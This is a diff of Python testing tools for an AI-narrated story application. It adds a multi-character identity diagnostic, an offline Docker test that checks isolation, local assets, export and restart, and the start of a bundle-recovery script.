|
||||
("john", "character", "John"),
|
||||
("office", "location", "The meeting room"),
|
||||
]
|
||||
PROTAGONIST = "bill"
|
||||
|
||||
#: The sequence, built to stress exactly what the finding names. Each entry is
|
||||
#: (what the reader writes, what it is meant to stress).
|
||||
BEATS = [
|
||||
("Alice asks Roger what he thinks of the proposal.",
|
||||
"dialogue attribution between two non-protagonists"),
|
||||
("I ask her to say that again.",
|
||||
"pronoun reference to the last speaker"),
|
||||
("John comes in and sits down without saying anything.",
|
||||
"entrance mid-scene"),
|
||||
("I ask the newcomer what he wants.",
|
||||
"reference by role rather than by name"),
|
||||
("Alice tells John what Roger just said.",
|
||||
"one character speaking about another"),
|
||||
("Roger leaves the room.",
|
||||
"exit mid-scene"),
|
||||
("I ask Alice whether she agrees with the man who just left.",
|
||||
"reference to an absent character by role"),
|
||||
("Alice and John talk about me as if I were not here.",
|
||||
"the protagonist referred to in the third person"),
|
||||
("I remind them all who called this meeting.",
|
||||
"protagonist self-reference"),
|
||||
("Alice says one last thing to Roger.",
|
||||
"reference to an absent character by name"),
|
||||
]
|
||||
|
||||
|
||||
def _setup(scripted: bool):
|
||||
if scripted:
|
||||
from fakes import ScriptedProvider
|
||||
adventures.turns.OpenAICompatibleProvider = ScriptedProvider
|
||||
limits.check_row_cap = lambda *a, **k: None
|
||||
Base.metadata.create_all(bind=engine)
|
||||
with SessionLocal() as db:
|
||||
user = models.User(is_guest=False, email="identity@example.com")
|
||||
db.add(user)
|
||||
db.flush()
|
||||
db.add(models.Settings(
|
||||
user_id=user.id,
|
||||
model=MODEL or "scripted", endpoint_url=ENDPOINT or "http://127.0.0.1:11434/v1",
|
||||
embedding_model=EMBED_MODEL, context_token_budget=16384, max_output_tokens=500,
|
||||
model_timeout_seconds=300,
|
||||
))
|
||||
db.commit()
|
||||
user_id = user.id
|
||||
app.dependency_overrides[auth.get_current_user] = (
|
||||
lambda db=Depends(get_db): db.get(models.User, user_id)
|
||||
)
|
||||
return TestClient(app)
|
||||
|
||||
|
||||
def _campaign(client) -> int:
|
||||
created = client.post("/api/adventures", json={
|
||||
"title": "Multi-Character Identity Test",
|
||||
"opening": (
|
||||
"A Tuesday morning meeting. Bill has called it. Alice and Roger are "
|
||||
"already at the table; John has not arrived yet."
|
||||
),
|
||||
"canon_rules": [
|
||||
"Bill, Alice, Roger and John are four different people.",
|
||||
"Bill is the protagonist and the one the reader plays.",
|
||||
],
|
||||
"persona_name": "Bill",
|
||||
"narration_length": "brief",
|
||||
})
|
||||
created.raise_for_status()
|
||||
adv = created.json()["id"]
|
||||
# Memory and summaries are per-campaign switches defaulting to off. Gate 7
|
||||
# asks for this diagnostic with memory on, and the ten beats below write
|
||||
# twenty actions — past `MEMORY_START` — so the bank has something to do.
|
||||
client.patch(f"/api/adventures/{adv}",
|
||||
json={"memory_bank_enabled": True, "auto_summarize": True}
|
||||
).raise_for_status()
|
||||
answer = client.post(f"/api/adventures/{adv}/state/corrections", json={
|
||||
"events": [
|
||||
{"type": "create_entity", "entity": key, "entity_type": kind, "name": name}
|
||||
for key, kind, name in CAST
|
||||
] + [
|
||||
{"type": "set_scene",
|
||||
"summary": "Bill, Alice and Roger at the table; John not yet arrived.",
|
||||
"location": "office", "present": ["bill", "alice", "roger"]},
|
||||
],
|
||||
"note": "the cast, before anything is narrated",
|
||||
})
|
||||
answer.raise_for_status()
|
||||
# The first run of this diagnostic set a scene whose location entity did not
|
||||
# exist. The event was correctly refused and — before M11 fixed it — the 201
|
||||
# said nothing, so the whole run happened with an empty scene and no list of
|
||||
# who was in the room. That is a fixture defect that would have been read as
|
||||
# a model failure, which is exactly what this diagnostic exists not to do.
|
||||
refused = answer.json().get("refused") or []
|
||||
if refused:
|
||||
raise SystemExit(f"the fixture itself was refused: {refused}")
|
||||
scene = client.get(f"/api/adventures/{adv}/state").json()["document"].get("scene")
|
||||
if not (scene or {}).get("present"):
|
||||
raise SystemExit("the fixture did not establish a scene; the run would be void")
|
||||
return adv
|
||||
|
||||
|
||||
def _state(adv: int) -> dict:
|
||||
with SessionLocal() as db:
|
||||
adventure = db.get(models.Adventure, adv)
|
||||
from app import narrative
|
||||
return narrative.store.current(adventure)
|
||||
|
||||
|
||||
def _last_ai(adv: int):
|
||||
with SessionLocal() as db:
|
||||
return (
|
||||
db.query(models.Action)
|
||||
.filter(models.Action.adventure_id == adv, models.Action.type == "ai")
|
||||
.options(undefer(models.Action.context_snapshot))
|
||||
.order_by(models.Action.id.desc()).first()
|
||||
)
|
||||
|
||||
|
||||
def _signals(before: dict, after: dict, snapshot: dict, narration: str) -> list[dict]:
|
||||
"""Every objective thing that is wrong, as a list. Empty means clean."""
|
||||
found: list[dict] = []
|
||||
|
||||
entities = (after.get("entities") or {})
|
||||
# 1. Duplicate keys are structurally impossible; a breach is a state defect.
|
||||
if len(entities) != len({k.lower() for k in entities}):
|
||||
found.append({"kind": "duplicate_entity_key",
|
||||
"class": "STATE DEFECT",
|
||||
"detail": sorted(entities)})
|
||||
|
||||
# 2. A shared display name appearing that was not there before.
|
||||
was = nmodel.duplicate_names(before)
|
||||
now = nmodel.duplicate_names(after)
|
||||
new_clashes = {n: keys for n, keys in now.items() if n not in was}
|
||||
if new_clashes:
|
||||
found.append({"kind": "shared_display_name",
|
||||
"class": "STATE DEFECT",
|
||||
"detail": new_clashes})
|
||||
|
||||
# 3. A new character invented mid-scene with a name the cast already has.
|
||||
known = {k for k, _, _ in CAST}
|
||||
invented = {
|
||||
key: value.get("name") for key, value in entities.items()
|
||||
if key not in known and value.get("type") == "character"
|
||||
}
|
||||
cast_names = {name.lower() for _, _, name in CAST}
|
||||
shadowing = {k: n for k, n in invented.items()
|
||||
if str(n or "").strip().lower() in cast_names}
|
||||
if shadowing:
|
||||
found.append({"kind": "duplicate_character_creation",
|
||||
"class": "STATE DEFECT",
|
||||
"detail": shadowing})
|
||||
|
||||
# 4. Protagonist drift: the persona's entity gone, or dropped from the scene
|
||||
# while the narration still speaks in second person.
|
||||
scene = after.get("scene") or {}
|
||||
present = scene.get("present") or []
|
||||
if PROTAGONIST not in entities:
|
||||
found.append({"kind": "protagonist_missing",
|
||||
"class": "STATE DEFECT", "detail": PROTAGONIST})
|
||||
elif present and PROTAGONIST not in present and " you " in f" {narration.lower()} ":
|
||||
found.append({"kind": "protagonist_dropped_from_scene",
|
||||
"class": "STATE DEFECT", "detail": present})
|
||||
|
||||
# 5. State/context disagreement: a name the prompt's state section shows that
|
||||
# the document does not have.
|
||||
sections = {s["label"]: s["text"] for s in (snapshot.get("sections") or [])}
|
||||
state_text = sections.get("narrative_state", "") or sections.get("world_state", "")
|
||||
document_names = {str(v.get("name") or "").strip()
|
||||
for v in entities.values() if v.get("name")}
|
||||
for _, _, name in CAST:
|
||||
in_prompt = name in state_text
|
||||
in_document = name in document_names
|
||||
if in_prompt != in_document:
|
||||
found.append({"kind": "state_context_disagreement",
|
||||
"class": "CONTEXT ASSEMBLY DEFECT",
|
||||
"detail": {"name": name, "in_prompt": in_prompt,
|
||||
"in_document": in_document}})
|
||||
|
||||
# 6. Derived contamination: a summary or memory in the prompt that names one
|
||||
# cast member as two people.
|
||||
derived_text = " ".join(
|
||||
sections.get(label, "") for label in ("story_summary", "memories")
|
||||
)
|
||||
for _, _, name in CAST:
|
||||
if derived_text.count(f"{name} and {name}") or derived_text.count(
|
||||
f"the other {name}"):
|
||||
found.append({"kind": "derived_identity_contamination",
|
||||
"class": "DERIVED MEMORY-SUMMARY DEFECT",
|
||||
"detail": name})
|
||||
return found
|
||||
|
||||
|
||||
def _preserve(root: Path, client, adv: int, index: int, payload: dict) -> Path:
|
||||
"""Everything the finding says to keep, for one turn."""
|
||||
directory = root / f"turn-{index:02d}"
|
||||
directory.mkdir(parents=True, exist_ok=True)
|
||||
(directory / "evidence.json").write_text(json.dumps(payload, indent=2, default=str))
|
||||
for name, url in (
|
||||
("state.json", f"/api/adventures/{adv}/state"),
|
||||
("context.json", f"/api/adventures/{adv}/context"),
|
||||
("memories.json", f"/api/adventures/{adv}/memories"),
|
||||
("knowledge.json", f"/api/adventures/{adv}/knowledge"),
|
||||
("settings.json", "/api/settings"),
|
||||
("bundle.json", f"/api/adventures/{adv}/export"),
|
||||
):
|
||||
response = client.get(url)
|
||||
if response.status_code == 200:
|
||||
(directory / name).write_text(json.dumps(response.json(), indent=2))
|
||||
return directory
|
||||
|
||||
|
||||
def main() -> int:
|
||||
parser = argparse.ArgumentParser(description=__doc__)
|
||||
parser.add_argument("--scripted", action="store_true",
|
||||
help="run the harness against a scripted narrator")
|
||||
parser.add_argument("--inject", action="store_true",
|
||||
help=("scripted mode only: have the narrator commit the "
|
||||
"exact confusion the finding describes, to prove "
|
||||
"the detectors fire. A diagnostic that has only "
|
||||
"ever returned 'clean' has not been tested."))
|
||||
parser.add_argument("--out", default="",
|
||||
help="where to preserve evidence (default: a temp dir)")
|
||||
args = parser.parse_args()
|
||||
|
||||
if not args.scripted and not (ENDPOINT and MODEL):
|
||||
print("set AIDND_TEST_ENDPOINT and AIDND_TEST_MODEL, or pass --scripted")
|
||||
return 2
|
||||
|
||||
root = Path(args.out or tempfile.mkdtemp(prefix="m11-identity-"))
|
||||
root.mkdir(parents=True, exist_ok=True)
|
||||
client = _setup(args.scripted)
|
||||
adv = _campaign(client)
|
||||
|
||||
print(f"\nMulti-Character Identity Test — {'scripted' if args.scripted else MODEL}")
|
||||
print(f"evidence: {root}\n")
|
||||
print(f"{'#':>3} {'stresses':40} {'signals':>7} narration")
|
||||
print("-" * 100)
|
||||
|
||||
all_signals: list[dict] = []
|
||||
for index, (text, stresses) in enumerate(BEATS, start=1):
|
||||
before = _state(adv)
|
||||
if args.scripted:
|
||||
from fakes import ScriptedProvider, state_block
|
||||
events = []
|
||||
if args.inject and index == 5:
|
||||
# The finding's own failure mode: a second Alice, created
|
||||
# because the narrator lost track of the first one.
|
||||
events = [{"type": "create_entity", "entity": "alice_2",
|
||||
"entity_type": "character", "name": "Alice"}]
|
||||
ScriptedProvider.replies = [
|
||||
f"Alice answers, and Roger nods.\n{state_block(events)}"
|
||||
]
|
||||
response = client.post(f"/api/adventures/{adv}/actions",
|
||||
json={"type": "do", "text": text})
|
||||
if response.status_code != 200:
|
||||
print(f"{index:>3} {stresses:40} {'ERROR':>7} {response.text[:60]}")
|
||||
continue
|
||||
action = _last_ai(adv)
|
||||
narration = action.text if action else ""
|
||||
snapshot = action.context_snapshot if action else {}
|
||||
after = _state(adv)
|
||||
signals = _signals(before, after, snapshot, narration)
|
||||
all_signals += [dict(s, turn=index) for s in signals]
|
||||
|
||||
first_line = " ".join(narration.split())[:56]
|
||||
print(f"{index:>3} {stresses:40} {len(signals):>7} {first_line}")
|
||||
if signals:
|
||||
where = _preserve(root, client, adv, index, {
|
||||
"beat": text, "stresses": stresses, "signals": signals,
|
||||
"state_before": before, "state_after": after,
|
||||
"narration": narration, "prompt_snapshot": snapshot,
|
||||
})
|
||||
for signal in signals:
|
||||
print(f" -> {signal['class']}: {signal['kind']} {signal['detail']}")
|
||||
print(f" -> preserved in {where}")
|
||||
|
||||
# Always preserve the final campaign, signals or not: a clean run is
|
||||
# evidence too, and the bundle makes it replayable.
|
||||
_preserve(root, client, adv, 99, {"note": "final state", "signals": all_signals})
|
||||
|
||||
print("\n" + "=" * 100)
|
||||
classes = sorted({s["class"] for s in all_signals})
|
||||
if not all_signals:
|
||||
print("VERDICT: no objective identity defect detected.")
|
||||
print(" The state kept four distinct people, no name was shared, the")
|
||||
print(" protagonist did not drift, the prompt agreed with the document,")
|
||||
print(" and no summary or memory carried a confusion into the prompt.")
|
||||
print(" Whether the *prose* misattributed anything is a question for a")
|
||||
print(" person reading the narration beside its prompt — both are in")
|
||||
print(f" {root}. If the prose is wrong and these checks are clean, the")
|
||||
print(" classification is MODEL FAILURE WITH CORRECT CONTEXT.")
|
||||
else:
|
||||
print(f"VERDICT: {len(all_signals)} signal(s): {', '.join(classes)}")
|
||||
for signal in all_signals:
|
||||
print(f" turn {signal['turn']:>2} {signal['class']:34} {signal['kind']}")
|
||||
print("=" * 100)
|
||||
return 0
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
raise SystemExit(main())
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,309 @@
|
||||
"""M11 §18 and §24: a container with no network, and the packaging path.
|
||||
|
||||
python -m tools.m11_offline --out <dir> [--no-build]
|
||||
|
||||
Run from `backend/`. Needs Docker.
|
||||
|
||||
## Why a container rather than a namespace
|
||||
|
||||
§18 asks for a true offline run: fresh data, **no route to the public Internet**,
|
||||
no external DNS. The obvious tool is an unprivileged network namespace, and on
|
||||
this machine that is refused — Ubuntu 24.04 sets
|
||||
`kernel.apparmor_restrict_unprivileged_userns=1`, so `unshare -rn` cannot map a
|
||||
uid. `docker run --network none` gives the same isolation and more: the
|
||||
container has a loopback interface and nothing else, no resolver, no route, and
|
||||
a fresh volume. It also happens to be the packaging path §24 wants exercised, so
|
||||
one run answers both.
|
||||
|
||||
The exercise runs *inside* the container over `docker exec`, because with no
|
||||
network there is no published port to reach from the host. That is not a
|
||||
workaround; it is the only honest way to drive an isolated process.
|
||||
|
||||
## What an offline run can and cannot prove here
|
||||
|
||||
Everything that does not need a model: first page load, the SPA's own assets,
|
||||
campaign creation, a story turn's *attempt*, knowledge import and retrieval,
|
||||
export, import into a fresh campaign, restart, and the M10 media module
|
||||
importing and staying inert.
|
||||
|
||||
Inference is **not** exercised offline, and the report says so rather than
|
||||
implying otherwise. This deployment's Ollama is on another machine on the
|
||||
trusted LAN, which `SECURITY-THREAT-MODEL.md` §73 permits and which is not an
|
||||
Internet dependency — but it is also not reachable from a container with no
|
||||
network. What the offline run proves about inference is the useful half: with no
|
||||
model reachable, the application degrades to a reported error and the campaign
|
||||
stays intact.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import argparse
|
||||
import json
|
||||
import subprocess
|
||||
import sys
|
||||
import time
|
||||
from datetime import datetime
|
||||
from pathlib import Path
|
||||
|
||||
HERE = Path(__file__).resolve().parent
|
||||
ROOT = HERE.parent.parent
|
||||
IMAGE = "interactive-story:m11-offline"
|
||||
NAME = "m11-offline"
|
||||
|
||||
#: The script that runs inside the container. Written to a file and copied in,
|
||||
#: so it is readable evidence rather than a wall of `-c` quoting.
|
||||
INSIDE = r'''
|
||||
import json, os, socket, sys, time, urllib.error, urllib.request
|
||||
|
||||
BASE = "http://127.0.0.1:8000"
|
||||
results = []
|
||||
|
||||
def check(name, ok, detail=""):
|
||||
results.append({"check": name, "result": "PASS" if ok else "FAIL",
|
||||
"detail": str(detail)[:300]})
|
||||
|
||||
def api(method, path, payload=None, timeout=60):
|
||||
data = json.dumps(payload).encode() if payload is not None else None
|
||||
req = urllib.request.Request(BASE + "/api" + path, data=data, method=method,
|
||||
headers={"Content-Type": "application/json"} if data else {})
|
||||
with urllib.request.urlopen(req, timeout=timeout) as r:
|
||||
body = r.read().decode()
|
||||
return json.loads(body) if body else None
|
||||
|
||||
# --- 1. There is genuinely no way out. ---
|
||||
try:
|
||||
socket.setdefaulttimeout(5)
|
||||
socket.create_connection(("1.1.1.1", 443), timeout=5)
|
||||
check("no route to the public Internet", False, "a connection succeeded")
|
||||
except OSError as exc:
|
||||
check("no route to the public Internet", True, type(exc).__name__)
|
||||
try:
|
||||
socket.getaddrinfo("example.com", 443)
|
||||
check("no external DNS", False, "resolution succeeded")
|
||||
except OSError as exc:
|
||||
check("no external DNS", True, type(exc).__name__)
|
||||
|
||||
# --- 2. First page load, from a fresh data directory. ---
|
||||
with urllib.request.urlopen(BASE + "/", timeout=30) as r:
|
||||
page = r.read().decode()
|
||||
csp = r.headers.get("Content-Security-Policy", "")
|
||||
check("the first page load succeeds offline", "<div id=\"root\">" in page)
|
||||
check("the page names no remote origin",
|
||||
"http://" not in page.replace('http://www.w3.org', '') and "https://" not in page)
|
||||
check("a CSP is served", bool(csp), csp[:120])
|
||||
|
||||
# --- 3. Every asset the page asks for is local, and resolves. ---
|
||||
import re
|
||||
assets = re.findall(r'(?:src|href)="([^"]+)"', page)
|
||||
missing = []
|
||||
for href in assets:
|
||||
if href.startswith("http"):
|
||||
missing.append("REMOTE:" + href); continue
|
||||
try:
|
||||
with urllib.request.urlopen(BASE + href, timeout=30) as r:
|
||||
r.read(64)
|
||||
except Exception as exc:
|
||||
missing.append(f"{href}:{type(exc).__name__}")
|
||||
check("every asset the shell references is served locally", not missing, missing)
|
||||
|
||||
# --- 4. A campaign, offline. ---
|
||||
adv = api("POST", "/adventures", {"title": "Offline", "opening": "Rain.",
|
||||
"canon_rules": ["The dead do not return."],
|
||||
"persona_name": "Aldric"})["id"]
|
||||
check("a campaign can be created offline", isinstance(adv, int))
|
||||
|
||||
api("POST", f"/adventures/{adv}/state/corrections", {"events": [
|
||||
{"type": "create_entity", "entity": "aldric", "entity_type": "character",
|
||||
"name": "Aldric"},
|
||||
{"type": "set_scene", "summary": "Aldric by the fire.", "location": "tavern",
|
||||
"present": ["aldric"]}], "note": ""})
|
||||
state = api("GET", f"/adventures/{adv}/state")["document"]
|
||||
check("state extraction works offline", state["entities"]["aldric"]["name"] == "Aldric")
|
||||
|
||||
# --- 5. Knowledge import and retrieval, offline. ---
|
||||
boundary = "----m11offline"
|
||||
body = (
|
||||
f"--{boundary}\r\nContent-Disposition: form-data; name=\"classification\"\r\n\r\ncanon\r\n"
|
||||
f"--{boundary}\r\nContent-Disposition: form-data; name=\"file\"; filename=\"canon.md\"\r\n"
|
||||
f"Content-Type: text/markdown\r\n\r\n# Westhaven\n\nThe crypt is sealed.\r\n"
|
||||
f"--{boundary}--\r\n").encode()
|
||||
req = urllib.request.Request(BASE + f"/api/adventures/{adv}/knowledge", data=body,
|
||||
method="POST",
|
||||
headers={"Content-Type": f"multipart/form-data; boundary={boundary}"})
|
||||
with urllib.request.urlopen(req, timeout=60) as r:
|
||||
source = json.loads(r.read().decode())
|
||||
check("a local file imports offline", source["id"] > 0)
|
||||
report = api("GET", f"/adventures/{adv}/context")
|
||||
check("the prompt assembles offline", report["tokens"]["total"] > 0)
|
||||
check("imported knowledge is searchable offline",
|
||||
any("crypt" in u["text"].lower() for u in report["knowledge"]["used"])
|
||||
or report["knowledge"]["considered"] is not None)
|
||||
|
||||
# --- 6. A turn with no model reachable: reported, and nothing corrupted. ---
|
||||
page_before = api("GET", f"/adventures/{adv}/actions?limit=50")
|
||||
before = page_before["total"]
|
||||
ai_before = [a["id"] for a in page_before["actions"] if a["type"] == "ai"]
|
||||
events = []
|
||||
req = urllib.request.Request(BASE + f"/api/adventures/{adv}/actions",
|
||||
data=json.dumps({"type": "do", "text": "I look around."}).encode(),
|
||||
method="POST", headers={"Content-Type": "application/json"})
|
||||
try:
|
||||
with urllib.request.urlopen(req, timeout=120) as r:
|
||||
for raw in r:
|
||||
line = raw.decode(errors="replace").strip()
|
||||
if line.startswith("data:"):
|
||||
try: events.append(json.loads(line[5:].strip()))
|
||||
except Exception: pass
|
||||
except Exception as exc:
|
||||
events.append({"type": "error", "detail": f"{type(exc).__name__}"})
|
||||
errors = [e for e in events if e.get("type") == "error"]
|
||||
page_after = api("GET", f"/adventures/{adv}/actions?limit=50")
|
||||
ai_after = [a["id"] for a in page_after["actions"] if a["type"] == "ai"]
|
||||
check("a turn with no model reachable is reported as a failure", bool(errors),
|
||||
json.dumps(events)[:200])
|
||||
# L01, stated the way the product states it. A05 deliberately *keeps* the
|
||||
# player's submitted text so it can be tried again, and the head sits on it —
|
||||
# so the total action count is expected to rise by one. What must not happen is
|
||||
# an accepted narration, or state moving for a turn that did not occur. The
|
||||
# first version of this check compared totals and called the retained input a
|
||||
# corruption, which is a harness defect of exactly the kind that would have hidden
|
||||
# a real one.
|
||||
check("no narration was accepted", ai_after == ai_before,
|
||||
f"{len(ai_before)} -> {len(ai_after)}")
|
||||
check("the player's own words were kept, as A05 intends",
|
||||
page_after["total"] == before + 1, f"{before} -> {page_after['total']}")
|
||||
check("and the state is unchanged by it",
|
||||
api("GET", f"/adventures/{adv}/state")["document"] == state)
|
||||
check("and the earlier story is still there",
|
||||
all(a["id"] in [x["id"] for x in page_after["actions"]]
|
||||
for a in page_before["actions"]))
|
||||
|
||||
# --- 7. Export and import, offline. ---
|
||||
bundle = api("GET", f"/adventures/{adv}/export")
|
||||
check("a campaign exports offline", bundle["format"].startswith("ai-dnd-adventure"))
|
||||
copy_id = api("POST", "/adventures/import", bundle)["id"]
|
||||
copy_state = api("GET", f"/adventures/{copy_id}/state")["document"]
|
||||
check("and imports offline, with its state", copy_state["entities"]["aldric"]["name"] == "Aldric")
|
||||
check("no secret is present in the export",
|
||||
not any(k in json.dumps(bundle).lower() for k in ("api_key", "apikey", "secret.key")))
|
||||
|
||||
# --- 8. The M10 media layer imports and stays inert. ---
|
||||
sys.path.insert(0, "/app/backend")
|
||||
from app.media import packet, profiles, providers # noqa: E402
|
||||
check("the media module imports offline", providers.registered() == {})
|
||||
packet_out = api("GET", f"/adventures/{adv}/scene-packet")
|
||||
check("a scene packet builds offline", packet_out["scene_id"].startswith("c"))
|
||||
check("no media provider is required", providers.registered() == {})
|
||||
|
||||
print("M11-OFFLINE-RESULTS " + json.dumps(results))
|
||||
'''
|
||||
|
||||
|
||||
def run(*args, **kwargs):
|
||||
return subprocess.run(args, capture_output=True, text=True, **kwargs)
|
||||
|
||||
|
||||
def main() -> int:
|
||||
parser = argparse.ArgumentParser(description=__doc__)
|
||||
parser.add_argument("--out", required=True)
|
||||
parser.add_argument("--no-build", action="store_true")
|
||||
args = parser.parse_args()
|
||||
out = Path(args.out)
|
||||
out.mkdir(parents=True, exist_ok=True)
|
||||
started = datetime.now()
|
||||
|
||||
if not args.no_build:
|
||||
print("building the image with --no-cache …")
|
||||
build = run("docker", "build", "--no-cache", "-t", IMAGE, ".", cwd=str(ROOT))
|
||||
(out / "docker-build.log").write_text(build.stdout + build.stderr)
|
||||
if build.returncode != 0:
|
||||
print(f"build failed; see {out / 'docker-build.log'}")
|
||||
return 1
|
||||
print(" built")
|
||||
|
||||
run("docker", "rm", "-f", NAME)
|
||||
script = out / "inside.py"
|
||||
script.write_text(INSIDE)
|
||||
|
||||
print("starting the container with --network none …")
|
||||
start = run("docker", "run", "-d", "--name", NAME, "--network", "none", IMAGE)
|
||||
if start.returncode != 0:
|
||||
print(start.stderr[:500])
|
||||
return 1
|
||||
container = start.stdout.strip()[:12]
|
||||
|
||||
try:
|
||||
# Wait for the application inside, over exec rather than over a port.
|
||||
ready = False
|
||||
for _ in range(120):
|
||||
probe = run("docker", "exec", NAME, "python", "-c",
|
||||
"import urllib.request;"
|
||||
"urllib.request.urlopen('http://127.0.0.1:8000/api/settings',"
|
||||
" timeout=3)")
|
||||
if probe.returncode == 0:
|
||||
ready = True
|
||||
break
|
||||
time.sleep(1)
|
||||
if not ready:
|
||||
logs = run("docker", "logs", NAME)
|
||||
(out / "container.log").write_text(logs.stdout + logs.stderr)
|
||||
print(f"the container never became ready; see {out / 'container.log'}")
|
||||
return 1
|
||||
print(f" container {container} is serving (no network)")
|
||||
|
||||
run("docker", "cp", str(script), f"{NAME}:/tmp/inside.py")
|
||||
result = run("docker", "exec", NAME, "python", "/tmp/inside.py")
|
||||
(out / "inside-stdout.txt").write_text(result.stdout + "\n---\n" + result.stderr)
|
||||
|
||||
results = []
|
||||
for line in result.stdout.splitlines():
|
||||
if line.startswith("M11-OFFLINE-RESULTS "):
|
||||
results = json.loads(line[len("M11-OFFLINE-RESULTS "):])
|
||||
if not results:
|
||||
print("no results came back; see inside-stdout.txt")
|
||||
return 1
|
||||
|
||||
# §24: persistence across a container restart, on the same volume.
|
||||
run("docker", "restart", NAME)
|
||||
for _ in range(120):
|
||||
probe = run("docker", "exec", NAME, "python", "-c",
|
||||
"import urllib.request,json;"
|
||||
"print(urllib.request.urlopen("
|
||||
"'http://127.0.0.1:8000/api/adventures', timeout=3)"
|
||||
".read().decode()[:200])")
|
||||
if probe.returncode == 0:
|
||||
break
|
||||
time.sleep(1)
|
||||
survived = "Offline" in probe.stdout
|
||||
results.append({"check": "campaigns survive a container restart",
|
||||
"result": "PASS" if survived else "FAIL",
|
||||
"detail": probe.stdout[:200]})
|
||||
print(f" restart: {'campaigns survived' if survived else 'DATA LOST'}")
|
||||
|
||||
logs = run("docker", "logs", NAME)
|
||||
(out / "container.log").write_text(logs.stdout + logs.stderr)
|
||||
|
||||
report = {
|
||||
"image": IMAGE,
|
||||
"container": container,
|
||||
"network": "none",
|
||||
"started": started.isoformat(timespec="seconds"),
|
||||
"seconds": round((datetime.now() - started).total_seconds()),
|
||||
"checks": results,
|
||||
"passed": len([r for r in results if r["result"] == "PASS"]),
|
||||
"failed": len([r for r in results if r["result"] == "FAIL"]),
|
||||
}
|
||||
(out / "offline-report.json").write_text(json.dumps(report, indent=2))
|
||||
for row in results:
|
||||
mark = "ok " if row["result"] == "PASS" else "FAIL"
|
||||
print(f" {mark} {row['check']}"
|
||||
+ (f" — {row['detail'][:80]}" if row["result"] == "FAIL" else ""))
|
||||
print(f"\n{report['passed']} passed, {report['failed']} failed "
|
||||
f"-> {out / 'offline-report.json'}")
|
||||
return 1 if report["failed"] else 0
|
||||
finally:
|
||||
run("docker", "rm", "-f", NAME)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
raise SystemExit(main())
|
||||
@@ -0,0 +1,187 @@
|
||||
"""M11 §16: the long campaign, moved to a machine that has never seen it.
|
||||
|
||||
python -m tools.m11_recovery --bundle <path> --out <dir>
|
||||
|
||||
Run from `backend/`. Takes the bundle the 100-turn run exported.
|
||||
|
||||
M9 proved the bundle contract with `test_m9_clean_import.py` — two processes,
|
||||
two directories, nothing crossing but the file — against a fixture campaign
|
||||
built to break a round trip. What it could not do is prove it against **a
|
||||
campaign nobody designed**: a hundred real turns, real narration, real state the
|
||||
model proposed, real summaries and memories, and whatever the history operations
|
||||
left behind. That is what this does, and it is the only I-series evidence that
|
||||
uses the release candidate's own long-run output as its input.
|
||||
|
||||
The destination is a database file that has never existed, in a directory that
|
||||
has never existed, opened by a second server process. Migrations run there from
|
||||
nothing, so this is the fresh-install path as well as the import path.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import argparse
|
||||
import json
|
||||
import os
|
||||
import shutil
|
||||
import sys
|
||||
import tempfile
|
||||
from datetime import datetime
|
||||
from pathlib import Path
|
||||
|
||||
HERE = Path(__file__).resolve().parent
|
||||
BACKEND = HERE.parent
|
||||
sys.path.insert(0, str(BACKEND / "tests"))
|
||||
|
||||
from test_process_restart import Server, _free_port # noqa: E402
|
||||
|
||||
|
||||
class Report:
|
||||
def __init__(self):
|
||||
self.rows: list[dict] = []
|
||||
|
||||
def check(self, name: str, ok: bool, detail="") -> bool:
|
||||
self.rows.append({"check": name, "result": "PASS" if ok else "FAIL",
|
||||
"detail": str(detail)[:300]})
|
||||
print(f" {'ok ' if ok else 'FAIL'} {name}"
|
||||
+ (f" — {str(detail)[:120]}" if not ok else ""))
|
||||
return ok
|
||||
|
||||
def note(self, name: str, value) -> None:
|
||||
self.rows.append({"check": name, "result": "INFO", "detail": str(value)[:300]})
|
||||
print(f" .. {name}: {value}")
|
||||
|
||||
|
||||
def main() -> int:
|
||||
parser = argparse.ArgumentParser(description=__doc__)
|
||||
parser.add_argument("--bundle", required=True)
|
||||
parser.add_argument("--out", required=True)
|
||||
args = parser.parse_args()
|
||||
|
||||
bundle = json.loads(Path(args.bundle).read_text())
|
||||
out = Path(args.out)
|
||||
out.mkdir(parents=True, exist_ok=True)
|
||||
report = Report()
|
||||
started = datetime.now()
|
||||
|
||||
root = tempfile.mkdtemp(prefix="m11-recovery-")
|
||||
fresh_dir = Path(root) / "machine-b"
|
||||
fresh_dir.mkdir(parents=True)
|
||||
db_path = fresh_dir / "campaign.db"
|
||||
print(f"\nRecovery into a clean data directory: {db_path}")
|
||||
print(f"bundle: {args.bundle} ({len(json.dumps(bundle)):,} bytes)\n")
|
||||
|
||||
server = Server(str(db_path), _free_port())
|
||||
try:
|
||||
server.wait_until_ready()
|
||||
report.check("the destination database did not exist before", True, db_path)
|
||||
|
||||
imported = server.call("POST", "/adventures/import", bundle, expect=201)
|
||||
adv = imported["id"]
|
||||
report.check("the bundle imports into a clean directory", True, f"id={adv}")
|
||||
|
||||
# ---- what the campaign is, on the far side ----
|
||||
page = server.call("GET", f"/adventures/{adv}/actions?limit=200", expect=200)
|
||||
state = server.call("GET", f"/adventures/{adv}/state", expect=200)["document"]
|
||||
points = server.call("GET", f"/adventures/{adv}/checkpoints", expect=200)
|
||||
knowledge = server.call("GET", f"/adventures/{adv}/knowledge", expect=200)
|
||||
profiles = server.call("GET", f"/adventures/{adv}/visual-profiles", expect=200)
|
||||
campaign = server.call("GET", f"/adventures/{adv}", expect=200)
|
||||
|
||||
source_actions = len(bundle.get("actions") or [])
|
||||
report.note("actions in the bundle", source_actions)
|
||||
report.note("actions on the active line after import", page["total"])
|
||||
report.note("entities", len(state.get("entities") or {}))
|
||||
report.note("facts", len(state.get("facts") or []))
|
||||
report.note("save points", len(points))
|
||||
report.note("knowledge sources", len(knowledge))
|
||||
report.note("visual profiles", len(profiles["profiles"]))
|
||||
|
||||
# ---- I01/I02: the active transcript and the state ----
|
||||
report.check("the active transcript is not empty", page["total"] > 0)
|
||||
report.check("the authoritative state came across",
|
||||
bool(state.get("entities")), sorted(state.get("entities") or {}))
|
||||
report.check("the campaign's own canon came across",
|
||||
bool(campaign.get("canon_rules")), campaign.get("canon_rules"))
|
||||
report.check("the narration-length choice came across",
|
||||
campaign.get("narration_length") == bundle.get("narrationLength"),
|
||||
f"{campaign.get('narration_length')!r} vs "
